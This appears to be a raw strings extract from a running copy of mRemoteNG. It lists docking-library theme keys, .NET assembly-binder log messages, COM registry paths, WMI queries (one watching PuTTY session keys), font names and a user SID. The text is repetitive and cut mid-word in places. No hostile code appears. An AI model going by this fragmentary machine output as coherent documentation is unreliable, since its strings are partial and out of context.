DropDownMouseOverGlyph CommandBarSplitButtonSeparator DropDownMouseDownGlyph CommandBarMouseDownBackgroundBegin CommandBarTextMouseDown CommandBarOptionsMouseOverBackgroundBegin CommandBarOptionsMouseOverGlyph CommandBarOptionsMouseDownBackgroundBegin CommandBarOptionsMouseDownGlyph DocWellOverflowButtonGlyph DocWellOverflowButtonMouseOverBackground DocWellOverflowButtonMouseOverBorder DocWellOverflowButtonMouseOverGlyph DocWellOverflowButtonMouseDownBackground DocWellOverflowButtonMouseDownBorder DocWellOverflowButtonMouseDownGlyph FileTabSelectedBorder FileTabButtonSelectedActiveGlyph FileTabSelectedText FileTabInactiveBorder FileTabButtonSelectedInactiveGlyph FileTabInactiveText FileTabText FileTabBackground FileTabHotBorder FileTabHotGlyph FileTabHotText FileTabButtonHoverSelectedActive FileTabButtonHoverSelectedActiveBorder FileTabButtonHoverSelectedActiveGlyph FileTabButtonDownSelectedActive FileTabButtonDownSelectedActiveBorder FileTabButtonDownSelectedActiveGlyph FileTabButtonHoverSelectedInactive FileTabButtonHoverSelectedInactiveBorder FileTabButtonHoverSelectedInactiveGlyph FileTabButtonDownSelectedInactive FileTabButtonDownSelectedInactiveBorder FileTabButtonDownSelectedInactiveGlyph FileTabButtonHoverInactive FileTabButtonHoverInactiveBorder FileTabButtonHoverInactiveGlyph FileTabButtonDownInactive FileTabButtonDownInactiveBorder FileTabButtonDownInactiveGlyph EnvironmentBackground StatusBarDefault StatusBarHighlight MainWindowResizeGripTexture1 MainWindowResizeGripTexture2 StatusBarText TitleBarActiveBorder ToolWindowButtonActiveGlyph TitleBarDragHandleActive TitleBarActiveText TitleBarInactive ToolWindowButtonInactiveGlyph TitleBarDragHandle TitleBarInactiveText ToolWindowButtonHoverActive ToolWindowButtonHoverActiveBorder ToolWindowButtonHoverActiveGlyph ToolWindowButtonDown ToolWindowButtonDownBorder ToolWindowButtonDownActiveGlyph ToolWindowButtonHoverInactive ToolWindowButtonHoverInactiveBorder ToolWindowButtonHoverInactiveGlyph ToolWindowTabSelectedTab ToolWindowTabSelectedActiveText ToolWindowTabSelectedText ToolWindowTabText ToolWindowTabGradientBegin ToolWindowTabMouseOverBackgroundBegin ToolWindowTabMouseOverText ToolWindowTabSeparator ToolWindowBorder DockTargetBackground DockTargetBorder DockTargetButtonBackgroundBegin DockTargetButtonBorder DockTargetGlyphBackgroundBegin DockTargetGlyphArrow DockTargetGlyphBorder Theme Category Color Background Foreground Source #{0} WeifenLuo.WinFormsUI.ThemeVS2012.Strings Category_Docking Category_DockingNotification Category_Performance Category_PropertyChanged DockAreaEditor_FloatCheckBoxText DockContent_AllowEndUserDocking_Description DockContent_AutoHidePortion_Description DockContent_CloseButton_Description DockContent_CloseButtonVisible_Description DockContent_Constructor_InvalidForm DockContent_DockAreas_Description DockContent_DockStateChanged_Description DockContent_HideOnClose_Description DockContent_ShowHint_Description DockContent_TabPageContextMenu_Description DockContent_TabText_Description DockContent_ToolTipText_Description DockContentHandler_AutoHidePortion_OutOfRange DockContentHandler_DockAreas_InvalidValue DockContentHandler_DockPane_InvalidValue DockContentHandler_FloatPane_InvalidValue DockContentHandler_IsFloat_InvalidValue DockContentHandler_SetDockState_InvalidState DockContentHandler_SetDockState_NullPanel DockContentHandler_Show_InvalidBeforeContent DockContentHandler_Show_InvalidDockState DockContentHandler_Show_InvalidPrevPane DockContentHandler_Show_NullDockPanel DockContentHandler_Show_NullPane DockContentHandler_ShowHint_InvalidValue DockHandler_TabPageContextMenuStrip_Description DockIndicator_ToolTipText DockPane_ActiveContent_InvalidValue DockPane_Constructor_NullContent DockPane_Constructor_NullDockPanel DockPane_DockTo_InvalidContainer DockPane_DockTo_NoPrevPane DockPane_DockTo_NullContainer DockPane_DockTo_NullPrevPane DockPane_DockTo_SelfPrevPane DockPane_FloatWindow_InvalidValue DockPane_SetContentIndex_InvalidContent DockPane_SetContentIndex_InvalidIndex DockPane_SetDockState_InvalidState DockPaneCaption_ToolTipAutoHide DockPaneCaption_ToolTipClose DockPaneCaption_ToolTipOptions DockPanel_ActiveAutoHideContent_InvalidValue DockPanel_ActiveAutoHideContentChanged_Description DockPanel_ActiveContentChanged_Description DockPanel_ActiveDocumentChanged_Description DockPanel_ActivePaneChanged_Description DockPanel_AllowEndUserDocking_Description DockPanel_AllowEndUserNestedDocking_Description DockPanel_ContentAdded_Description DockPanel_ContentRemoved_Description DockPanel_DefaultFloatWindowSize_Description DockPanel_Description DockPanel_DockBottomPortion_Description DockPanel_DockLeftPortion_Description DockPanel_DockPanelSkin DockPanel_DockRightPortion_Description DockPanel_DockTopPortion_Description DockPanel_DocumentStyle_Description DockPanel_DocumentTabStripLocation DockPanel_LoadFromXml_AlreadyInitialized DockPanel_LoadFromXml_InvalidFormatVersion DockPanel_LoadFromXml_InvalidXmlFormat DockPanel_ParentForm_Invalid DockPanel_Persistor_XmlFileComment1 DockPanel_Persistor_XmlFileComment2 DockPanel_RightToLeftLayout_Description DockPanel_SetPaneIndex_InvalidIndex DockPanel_SetPaneIndex_InvalidPane DockPanel_ShowAutoHideContentOnHover_Description DockPanel_ShowCloseButtonOnEachTab_Description DockPanel_ShowDocumentIcon_Description DockPanel_SupportDeeplyNestedContent_Description DockPaneStrip_ToolTipClose DockPaneStrip_ToolTipWindowList FloatWindow_Constructor_NullDockPanel FloatWindow_SetPaneIndex_InvalidIndex FloatWindow_SetPaneIndex_InvalidPane IDockDragSource_DockTo_InvalidPanel Name Environment #FFC2C2C2 #FF5BADFF Environment DockIndicator_PaneDiamond_HotspotIndex Dockindicator_PaneDiamond_Hotspot MaskArrowBottom MaskArrowLeft MaskArrowRight MaskArrowTop MaskCoreBottom MaskCoreCenter MaskCoreLeft MaskCoreRight MaskCoreTop MaskDock MaskDockFive MaskTabClose MaskTabList MaskTabOverflow MaskToolWindowAutoHide MaskToolWindowClose MaskToolWindowDock MaskToolWindowOption MaskWindowBottom MaskWindowCenter MaskWindowLeft MaskWindowRight MaskWindowTop vs2012blue_vstheme vs2012dark_vstheme vs2012light_vstheme Category_Docking Category_DockingNotification Category_Performance Category_PropertyChanged, DockAreaEditor_FloatCheckBoxText> DockContentHandler_AutoHidePortio shlwapi.dll C:\WINDOWS\ Microsoft.Windows.Shell.shell32,processorArchitecture="*",type="win32",version="5.1.0.0"C:\WINDOWS\WindowsShell.Manifest Microsoft.Windows.Common-Controls Microsoft.Windows.Common-Controls,processorArchitecture="x86",publicKeyToken="6595b64144ccf1df",type="win32",version="6.0.26100.7705"C:\WINDOWS\WinSxS\manifests\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.26100.7705_none_85b39051f7b2640a.manifest x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.26100.7705_none_85b39051f7b2640a Microsoft.Windows.Common-Controls.Resources Microsoft.Windows.Common-Controls.Resources,language="en-us",processorArchitecture="x86",publicKeyToken="6595b64144ccf1df",type="win32",version="6.0.26100.1591"C:\WINDOWS\WinSxS\manifests\x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.26100.1591_en-us_9bc82bd5245023f6.manifest x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.26100.1591_en-us_9bc82bd5245023f6 en-US comctl32.dll comctl32.dll.mui ToolbarWindow32 6.0.26100.7705!ToolbarWindow32 comctl32.dll ComboBoxEx32 6.0.26100.7705!ComboBoxEx32 comctl32.dll msctls_trackbar32 6.0.26100.7705!msctls_trackbar32 comctl32.dll msctls_updown32 6.0.26100.7705!msctls_updown32 comctl32.dll msctls_progress32 6.0.26100.7705!msctls_progress32 comctl32.dll msctls_hotkey32 6.0.26100.7705!msctls_hotkey32 comctl32.dll msctls_statusbar32 6.0.26100.7705!msctls_statusbar32 comctl32.dll SysHeader32 6.0.26100.7705!SysHeader32 comctl32.dll SysListView32 6.0.26100.7705!SysListView32 comctl32.dll SysTreeView32 6.0.26100.7705!SysTreeView32 comctl32.dll SysTabControl32 6.0.26100.7705!SysTabControl32 comctl32.dll SysIPAddress32 6.0.26100.7705!SysIPAddress32 comctl32.dll SysPager 6.0.26100.7705!SysPager comctl32.dll NativeFontCtl 6.0.26100.7705!NativeFontCtl comctl32.dll Button 6.0.26100.7705!Button comctl32.dll Static 6.0.26100.7705!Static comctl32.dll Listbox 6.0.26100.7705!Listbox comctl32.dll ScrollBar 6.0.26100.7705!ScrollBar comctl32.dll SysLink 6.0.26100.7705!SysLink comctl32.dll tooltips_class32 6.0.26100.7705!tooltips_class32 comctl32.dll ButtonListBox 6.0.26100.7705!ButtonListBox comctl32.dll SysAnimate32 6.0.26100.7705!SysAnimate32 comctl32.dll SysMonthCal32 6.0.26100.7705!SysMonthCal32 comctl32.dll SysDateTimePick32 6.0.26100.7705!SysDateTimePick32 comctl32.dll ReBarWindow32 6.0.26100.7705!ReBarWindow32 comctl32.dll Edit 6.0.26100.7705!Edit comctl32.dll Combobox 6.0.26100.7705!Combobox comctl32.dll ComboLBox 6.0.26100.7705!ComboLBox comctl32.dll DropDown 6.0.26100.7705!DropDown comctl32.dll WeifenLuo.WinFormsUI.ThemeVS2013.Resources vs2013blue_vstheme vs2013dark_vstheme vs2013light_vstheme WeifenLuo.WinFormsUI.ThemeVS2012.Resources Dockindicator_PaneDiamond_Hotspot DockIndicator_PaneDiamond_HotspotIndex MaskArrowBottom MaskArrowLeft MaskArrowRight MaskArrowTop MaskCoreBottom MaskCoreCenter MaskCoreLeft MaskCoreRight MaskCoreTop MaskDock MaskDockFive MaskTabClose MaskTabList MaskTabOverflow MaskToolWindowAutoHide MaskToolWindowClose MaskToolWindowDock MaskToolWindowOption MaskWindowBottom MaskWindowCenter MaskWindowLeft MaskWindowRight MaskWindowTop vs2012blue_vstheme vs2012dark_vstheme vs2012light_vstheme AutoHideTabBackgroundBegin AutoHideTabBorder AutoHideTabText AutoHideTabMouseOverBackgroundBegin AutoHideTabMouseOverBorder AutoHideTabMouseOverText CommandShelfHighlightGradientBegin CommandBarTextActive CommandBarMenuSubmenuGlyph CommandBarMenuBackgroundGradientEnd CommandBarMenuBackgroundGradientBegin CommandBarMenuBorder CommandBarCheckBox CommandBarSelectedIcon CommandBarMenuIconBackground CommandBarMenuSeparator CommandBarCheckBoxDisabled CommandBarSelectedIconDisabled CommandBarTextInactive CommandBarMenuMouseOverSubmenuGlyph CommandBarCheckBoxMouseOver CommandBarHoverOverSelectedIcon CommandBarMenuItemMouseOver CommandBarMouseOverBackgroundBegin CommandBarBorder CommandBarTextHover CommandBarGradientBegin CommandBarToolBarBorder CommandBarDragHandle CommandBarOptionsBackground CommandBarOptionsGlyph CommandBarToolBarSeparator CommandBarToolBarSeparatorHighlight CommandShelfBackgroundGradientBegin CommandBarSelected CommandBarSelectedBorder CommandBarTextSelected CommandBarHoverOverSelectedIconBorder CommandBarTextHoverOverSelected DropDownGlyph DropDownMouseOverGlyph CommandBarSplitButtonSeparator DropDownMouseDownGlyph CommandBarMouseDownBackgroundBegin CommandBarTextMouseDown CommandBarOptionsMouseOverBackgroundBegin CommandBarOptionsMouseOverGlyph CommandBarOptionsMouseDownBackgroundBegin CommandBarOptionsMouseDownGlyph DocWellOverflowButtonGlyph DocWellOverflowButtonMouseOverBackground DocWellOverflowButtonMouseOverBorder DocWellOverflowButtonMouseOverGlyph DocWellOverflowButtonMouseDownBackground DocWellOverflowButtonMouseDownBorder DocWellOverflowButtonMouseDownGlyph FileTabSelectedBorder FileTabButtonSelectedActiveGlyph FileTabSelectedText FileTabInactiveBorder FileTabButtonSelectedInactiveGlyph FileTabInactiveText FileTabText FileTabBackground FileTabHotBorder FileTabHotGlyph FileTabHotText FileTabButtonHoverSelectedActive FileTabButtonHoverSelectedActiveBorder FileTabButtonHoverSelectedActiveGlyph FileTabButtonDownSelectedActive FileTabButtonDownSelectedActiveBorder FileTabButtonDownSelectedActiveGlyph FileTabButtonHoverSelectedInactive FileTabButtonHoverSelectedInactiveBorder FileTabButtonHoverSelectedInactiveGlyph FileTabButtonDownSelectedInactive FileTabButtonDownSelectedInactiveBorder FileTabButtonDownSelectedInactiveGlyph FileTabButtonHoverInactive FileTabButtonHoverInactiveBorder FileTabButtonHoverInactiveGlyph FileTabButtonDownInactive FileTabButtonDownInactiveBorder FileTabButtonDownInactiveGlyph EnvironmentBackground StatusBarDefault StatusBarHighlight MainWindowResizeGripTexture1 MainWindowResizeGripTexture2 StatusBarText TitleBarActiveBorder ToolWindowButtonActiveGlyph TitleBarDragHandleActive TitleBarActiveText TitleBarInactive ToolWindowButtonInactiveGlyph TitleBarDragHandle TitleBarInactiveText ToolWindowButtonHoverActive ToolWindowButtonHoverActiveBorder ToolWindowButtonHoverActiveGlyph ToolWindowButtonDown ToolWindowButtonDownBorder ToolWindowButtonDownActiveGlyph ToolWindowButtonHoverInactive ToolWindowButtonHoverInactiveBorder ToolWindowButtonHoverInactiveGlyph ToolWindowTabSelectedTab ToolWindowTabSelectedActiveText ToolWindowTabSelectedText ToolWindowTabText ToolWindowTabGradientBegin ToolWindowTabMouseOverBackgroundBegin ToolWindowTabMouseOverText ToolWindowTabSeparator ToolWindowBorder DockTargetBackground DockTargetBorder DockTargetButtonBackgroundBegin DockTargetButtonBorder DockTargetGlyphBackgroundBegin DockTargetGlyphArrow DockTargetGlyphBorder Theme Category Color Background Foreground Source #{0} WeifenLuo.WinFormsUI.ThemeVS2012.Strings Category_Docking Category_DockingNotification Category_Performance Category_PropertyChanged DockAreaEditor_FloatCheckBoxText DockContent_AllowEndUserDocking_Description DockContent_AutoHidePortion_Description DockContent_CloseButton_Description DockContent_CloseButtonVisible_Description DockContent_Constructor_InvalidForm DockContent_DockAreas_Description DockContent_DockStateChanged_Description DockContent_HideOnClose_Description DockContent_ShowHint_Description DockContent_TabPageContextMenu_Description DockContent_TabText_Description DockContent_ToolTipText_Description DockContentHandler_AutoHidePortion_OutOfRange DockContentHandler_DockAreas_InvalidValue DockContentHandler_DockPane_InvalidValue DockContentHandler_FloatPane_InvalidValue DockContentHandler_IsFloat_InvalidValue DockContentHandler_SetDockState_InvalidState DockContentHandler_SetDockState_NullPanel DockContentHandler_Show_InvalidBeforeContent DockContentHandllDockPanel FloatWindow_SetPaneIndex_InvalidIndex FloatWindow_SetPaneIndex_InvalidPane IDockDragSource_DockTo_InvalidPanel #FFC2C2C2 #FF5BADFF Name Environment Environment DockIndicator_PaneDiamond_HotspotIndex Dockindicator_PaneDiamond_Hotspot MaskArrowBottom MaskArrowLeft MaskArrowRight MaskArrowTop MaskCoreBottom MaskCoreCenter MaskCoreLeft MaskCoreRight MaskCoreTop MaskDock MaskDockFive MaskTabClose MaskTabList MaskTabOverflow MaskToolWindowAutoHide MaskToolWindowClose MaskToolWindowDock MaskToolWindowOption MaskWindowBottom MaskWindowCenter MaskWindowLeft MaskWindowRight MaskWindowTop vs2012blue_vstheme vs2012dark_vstheme vs2012light_vstheme vs2013blue_vstheme vs2013dark_vstheme vs2013light_vstheme WeifenLuo.WinFormsUI.ThemeVS2015.Resources vs2015blue_vstheme vs2015dark_vstheme vs2015light_vstheme WeifenLuo.WinFormsUI.ThemeVS2012.Resources Dockindicator_PaneDiamond_Hotspot DockIndicator_PaneDiamond_HotspotIndex MaskArrowBottom MaskArrowLeft MaskArrowRight MaskArrowTop MaskCoreBottom MaskCoreCenter MaskCoreLeft MaskCoreRight MaskCoreTop MaskDock MaskDockFive MaskTabClose MaskTabList MaskTabOverflow MaskToolWindowAutoHide MaskToolWindowClose MaskToolWindowDock MaskToolWindowOption MaskWindowBottom MaskWindowCenter MaskWindowLeft MaskWindowRight MaskWindowTop vs2012blue_vstheme vs2012dark_vstheme vs2012light_vstheme AutoHideTabBackgroundBegin AutoHideTabBorder AutoHideTabText AutoHideTabMouseOverBackgroundBegin AutoHideTabMouseOverBorder AutoHideTabMouseOverText CommandShelfHighlightGradientBegin CommandBarTextActive CommandBarMenuSubmenuGlyph CommandBarMenuBackgroundGradientEnd CommandBarMenuBackgroundGradientBegin CommandBarMenuBorder CommandBarCheckBox CommandBarSelectedIcon CommandBarMenuIconBackground CommandBarMenuSeparator CommandBarCheckBoxDisabled CommandBarSelectedIconDisabled CommandBarTextInactive CommandBarMenuMouseOverSubmenuGlyph CommandBarCheckBoxMouseOver CommandBarHoverOverSelectedIcon CommandBarMenuItemMouseOver CommandBarMouseOverBackgroundBegin CommandBarBorder CommandBarTextHover CommandBarGradientBegin CommandBarToolBarBorder CommandBarDragHandle CommandBarOptionsBackground CommandBarOptionsGlyph CommandBarToolBarSeparator CommandBarToolBarSeparatorHighlight CommandShelfBackgroundGradientBegin CommandBarSelected CommandBarSelectedBorder CommandBarTextSelected CommandBarHoverOverSelectedIconBorder CommandBarTextHoverOverSelected DropDownGlyph DropDownMouseOverGlyph CommandBarSplitButtonSeparator DropDownMouseDownGlyph CommandBarMouseDownBackgroundBegin CommandBarTextMouseDown CommandBarOptionsMouseOverBackgroundBegin CommandBarOptionsMouseOverGlyph CommandBarOptionsMouseDownBackgroundBegin CommandBarOptionsMouseDownGlyph DocWellOverflowButtonGlyph DocWellOverflowButtonMouseOverBackground DocWellOverflowButtonMouseOverBorder DocWellOverflowButtonMouseOverGlyph DocWellOverflowButtonMouseDownBackground DocWellOverflowButtonMouseDownBorder DocWellOverflowButtonMouseDownGlyph FileTabSelectedBorder FileTabButtonSelectedActiveGlyph FileTabSelectedText FileTabInactiveBorder FileTabButtonSelectedInactiveGlyph FileTabInactiveText FileTabText FileTabBackground FileTabHotBorder FileTabHotGlyph FileTabHotText FileTabButtonHoverSelectedActive FileTabButtonHoverSelectedActiveBorder FileTabButtonHoverSelectedActiveGlyph FileTabButtonDownSelectedActive FileTabButtonDownSelectedActiveBorder FileTabButtonDownSelectedActiveGlyph FileTabButtonHoverSelectedInactive FileTabButtonHoverSelectedInactiveBorder FileTabButtonHoverSelectedInactiveGlyph FileTabButtonDownSelectedInactive FileTabButtonDownSelectedInactiveBorder FileTabButtonDownSelectedInactiveGlyph FileTabButtonHoverInactive FileTabButtonHoverInactiveBorder FileTabButtonHoverInactiveGlyph FileTabButtonDownInactive FileTabButtonDownInactiveBorder FileTabButtonDownInactiveGlyph EnvironmentBackground StatusBarDefault StatusBarHighlight MainWindowResizeGripTexture1 MainWindowResizeGripTexture2 StatusBarText TitleBarActiveBorder ToolWindowButtonActiveGlyph TitleBarDragHandleActive TitleBarActiveText TitleBarInactive ToolWindowButtonInactiveGlyph TitleBarDragHandle TitleBarInactiveText ToolWindowButtonHoverActive ToolWindowButtonHoverActiveBorder ToolWindowButtonHoverActiveGlyph ToolWindowButtonDown ToolWindowButtonDownBorder ToolWindowButtonDownActiveGlyph ToolWindowButtonHoverInactive ToolWindowButtonHoverInactiveBorder ToolWindowButtonHoverInactiveGlyph ToolWindowTabSelectedTab ToolWindowTabSelectedActiveText ToolWindowTabSelectedText ToolWindowTabText ToolWindowTabGradientBegin ToolWindowTabMouseOverBackgroundBegin ToolWindowTabMouseOverText ToolWindowTabSeparator ToolWindowBorder DockTargetBackground DockTargetBorder DockTargetButtonBackgroundBegin DockTargetButtonBorder DockTargetGlyphBackgroundBegin DockTargetGlyphArrow DockTargetGlyphBorder Theme Category Color Background Foreground Source #{0} WeifenLuo.WinFormsUI.ThemeVS2012.Strings Category_Docking Category_DockingNotification Category_Performance Category_PropertyChanged DockAreaEditor_FloatCheckBoxText DockContent_AllowEndUserDocking_Description DockContent_AutoHidePortion_Description DockContent_CloseButton_Description DockContent_CloseButtonVisible_Description DockContent_Constructor_InvalidForm DockContent_DockAreas_Description DockContent_DockStateChanged_Description DockContent_HideOnClose_Description DockContent_ShowHint_Description DockContent_TabPageContextMenu_Description DockContent_TabText_Description DockContent_ToolTipText_Description DockContentHandler_AutoHidePortion_OutOfRange DockContentHandler_DockAreas_InvalidValue DockContentHandler_DockPane_InvalidValue DockContentHandler_FloatPane_InvalidValue DockContentHandler_IsFloat_InvalidValue DockContentHandler_SetDockState_InvalidState DockContentHandler_SetDockState_NullPanel DockContentHandler_Show_indowList FloatWindow_Constructor_NullDockPanel FloatWindow_SetPaneIndex_InvalidIndex FloatWindow_SetPaneIndex_InvalidPane IDockDragSource_DockTo_InvalidPanel #FFC2C2C2 #FF5BADFF Name Environment Environment DockIndicator_PaneDiamond_HotspotIndex Dockindicator_PaneDiamond_Hotspot MaskArrowBottom MaskArrowLeft MaskArrowRight MaskArrowTop MaskCoreBottom MaskCoreCenter MaskCoreLeft MaskCoreRight MaskCoreTop MaskDock MaskDockFive MaskTabClose MaskTabList MaskTabOverflow MaskToolWindowAutoHide MaskToolWindowClose MaskToolWindowDock MaskToolWindowOption MaskWindowBottom MaskWindowCenter MaskWindowLeft MaskWindowRight MaskWindowTop vs2012blue_vstheme vs2012dark_vstheme vs2012light_vstheme KERR: The private assembly was located outside of appbase. Source Url = %ws._LOG: The asynchronous application configuration file download successful. Download location %ws?LOG: The asynchronous configuration file download unsuccessful.6ERR: Unable to create assembly cache item (hr = 0x%x).\ERR: Unable to commit cache item. Attempt to put assembly in cache unsuccessful (hr = 0x%x). The operation was successful. The operation failed.#--- A detailed error log follows. *** Assembly Binder Log Entry Bind result: hr = 0x%x. %ws No description available. Assembly manager loaded from: Running under executable FLOG: Partial reference qualified from config file. New reference: %ws. Calling assembly : %ws. VNote: There is some performance penalty associated with assembly bind failure logging._To turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]. bERR: Partial GAC binds disallowed. [Partial Name = %ws : Calling Assembly = %ws : EXE Name = %ws].>WRN: Partial binding information was supplied for an assembly: WRN: A partial bind occurs when only part of the assembly display name is provided. WRN: This might result in the binder loading an incorrect assembly. WRN: It is recommended to provide a fully specified textual identity for the assembly, WRN: that consists of the simple name, version, culture, and public key token. WRN: See whitepaper http://go.microsoft.com/fwlink/?LinkId=109270 for more information and common solutions to this issue.&WRN: Assembly Name: %s | Domain ID: %dbWRN: Multiple versions of the same assembly were loaded into one context of an application domain: WRN: This might lead to runtime failures. WRN: It is recommended that you remove the dependency on multiple versions, and change the app.config file to point to the required version of the assembly only. WRN: See whitepaper http://go.microsoft.com/fwlink/?LinkId=109270 for more information.4WRN: Context: %s | Domain ID: %d | Assembly Name: %sRWRN: The same assembly was loaded into multiple contex Assembly is in CLR Loaded list. Proceed to normal probing./LOG: Try host assembly store with assembly %ws.8WRN: Host assembly store does not contain this assembly.,WRN: Host did not provide an assembly store. $LOG: Bind to native image succeeded.JERR: Error encountered when binding to native image assembly. (hr = 0x%x). WRN: Native image will not be probed in LoadFrom context. Native image will only be probed in default load context, like with Assembly.Load(). tWRN: Dependency assembly was not found at ngen time, but is found at binding time. Disallow using this native image. &LOG: IJW explicit bind. File path:%ws.&LOG: EXE explicit bind. File path:%ws.*ERR: IJW assembly bind failure. hr = 0x%x.MLOG: IJW assembly bind returned a different path: %ws. Use the file provided. ,WRN: Assembly binding logging is turned OFF.xTo enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1. 3ERR: Unsupported linked configuration location: %ws7ERR: Error processing linked configurations (hr = 0x%x),WRN: Ignoring duplicate linked configuration)LOG: Processing linked configuration: %ws Immersive bind. Framework bind. Assembly.LoadFile bind. Windows Runtime Type bind. Dependency name: %s Found: %s IL image bind. Native image bind.7Found .NET Framework assembly is not supported in AppX. +LOG: Start validating all the dependencies. *LOG: Validation of dependencies succeeded. !LOG: IL assembly loaded from %ws. ?@ ABCDEFGHIJ \S-1-5-21-3 286-10 ID\{E7D35CF CA}\Tr \REGISTRY\USER\S-1-5-21-3914889805-4071901059-918772286-1001_Classes\WOW6432Node\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\TreatAs \REGISTRY\USER\S-1-5-21-3914889805-4071901059-918772286-1001_Classes\WOW6432Node\CLSID\{EB87E1BD-3233-11D2-AEC9-00C04FB68820}\LocalServer \REGISTRY\USER\S-1-5-21-3914889805-4071901059-918772286-1001_Classes\WOW6432Node\CLSID\{EB87E1BD-3233-11D2-AEC9-00C04FB68820}\TreatAs \REGISTRY\USER\S-1-5-21-3914889805-4071901059-918772286-1001_Classes\WOW6432Node\CLSID\{EB87E1BD-3233-11D2-AEC9-00C04FB68820}\Elevation \REGISTRY\USER\S-1-5-21-3914889805-4071901059-918772286-1001_Classes\WOW6432Node\CLSID\{EB87E1BD-3233-11D2-AEC9-00C04FB68820}\TreatAs \REGISTRY\USER\S-1-5-21-3914889805-4071901059-918772286-1001_Classes\WOW6432Node\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\LocalServer \S-1-5-21-3 286-10 ID\{71285C4 FD}\El \REGISTRY\USER\S-1-5-21-3914889805-4071901059-918772286-1001_Classes\WOW6432Node\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\TreatAs CLSID\{EB87E1BD-3233-11D2-AEC9-00C04FB68820} rsion=2. CLSID\{9FC8E510-A27C-4B3B-B9A3-BF65F00256A8} System.Windows.Forms WMI Object Factory WMI Object Factory Universal Refresher WBEM Class Object CESSOR_LEVEL=6 PROCESS WeifenLuo.WinFormsUI.Docking.resources,2.16.0.0,en-US,5cded1a1a0a7b481 mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null \BaseNamedObjects\[CoreUI]-PID(7388)-TID(7420) dce8afa9-5a50-4f0d-909a-ffba4adc6e06 C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll SELECT * FROM Win32_Processor WHERE DeviceID='CPU0' SELECT * FROM Win32_Processor WHERE DeviceID='CPU0' \\WINDOWS11\root\cimv2:Win32_Processor.DeviceID="CPU0" S-1-5-21-3914889805-4071901059-918772286-1001 D="CPU0" 2\System.Web\* ObjectListView.resources, Version=2.9.1.1072, Culture=en-US, PublicKeyToken=b1c5bf581481bcd4 \??\C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\X86\MpOav.dll.2.Manifest C:\WINDOWS\SYSTEM32\textinputframework.dll rawing,2.0.0.0,,b03f5f7f11d50a3a <+ncalrpc:[OLE7FCE841CDE1EBEA1450E28826794] Windows11\job System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a C:\WINDOWS\system32\twinapi.appcore.dll C:\WINDOWS\system32\dataexchange.dll C:\WINDOWS\system32\dataexchange.dll C:\WINDOWS\system32\dataexchange.dll C:\WINDOWS\system32\dataexchange.dll C:\WINDOWS\SYSTEM32\CoreMessaging.dll C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe WindowsForms10.BUTTON.app.0.129c866_r7_ad1 C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe WindowsForms10.BUTTON.app.0.129c866_r7_ad1 WindowsForms10.BUTTON. *SEGOEUI.TTF select * from RegistryTreeChangeEvent where Hive = 'HKEY_USERS' AND RootPath = 'S-1-5-21-3914889805-4071901059-918772286-1001\\Software\\SimonTatham\\PuTTY\\Sessions' sources/ObjectListView.resources C:/Pr (x86)/mRemoteNG/en/ObjectListView.resources/ObjectListView.resources.EXE 4.0.0.0 Cul 4.0.0.0 Cul D941FD5B82C5 mscorlib Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089 WeifenLuo.WinFormsUI.Docking.resources,2.16.0.0,en,5cded1a1a0a7b481 Options Close Close clipsfk clipsfk Options Options Close CoreUIComponents ExternalComOwner ParkedProxyOwner C:\WINDOWS\System32\wtdccm.dll OLEF368D941FD5B82C5192C3EFFB663 crosoft WBEM Call Context Auto Hide \Program Fil WindowsForms10.BUTTON.app.0.129c866_r7_ad1 Segoe UI -+ncalrpc:[OLE7FCE841CDE1EBEA1450E28826794] Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI System Segoe UI Segoe UI Regular Western Segoe UI Segoe UI Regular Hebrew Segoe UI Segoe UI Regular Arabic Segoe UI Segoe UI Regular Greek Segoe UI Segoe UI Regular Turkish Segoe UI Segoe UI Regular Baltic Segoe UI Segoe UI Regular Central European Segoe UI Segoe UI Regular Cyrillic Segoe UI Segoe UI Regular Vietnamese Segoe UI Segoe UI Bold Bold Western Segoe UI Segoe UI Bold Bold Hebrew Segoe UI Segoe UI Bold Bold Arabic Segoe UI Segoe UI Bold Bold Greek Segoe UI Segoe UI Bold Bold Turkish Segoe UI Segoe UI Bold Bold Baltic Segoe UI Segoe UI Bold Bold Central European Segoe UI Segoe UI Bold Bold Cyrillic Segoe UI Segoe UI Bold Bold Vietnamese Segoe UI Segoe UI Bold Italic Bold Italic Western Segoe UI Segoe UI Bold Italic Bold Italic Greek Segoe UI Segoe UI Bold Italic Bold Italic Turkish Segoe UI Segoe UI Bold Italic Bold Italic Baltic Segoe UI Segoe UI Bold Italic Bold Italic Central European Segoe UI Segoe UI Bold Italic Bold Italic Cyrillic Segoe UI Segoe UI Bold Italic Bold Italic Vietnamese Segoe UI Segoe UI Italic Italic Western Segoe UI Segoe UI Italic Italic Greek Segoe UI Segoe UI Italic Italic Turkish Segoe UI Segoe UI Italic Italic Baltic Segoe UI Segoe UI Italic Italic Central European Segoe UI Segoe UI Italic Italic Cyrillic Segoe UI Segoe UI Italic Italic Vietnamese 2286-1001\\Software\\SimonTatham\\PuTTY\\Sessions' QDPH WKDW ZLOO GLVSOD\HG FRQQHFWLRQV 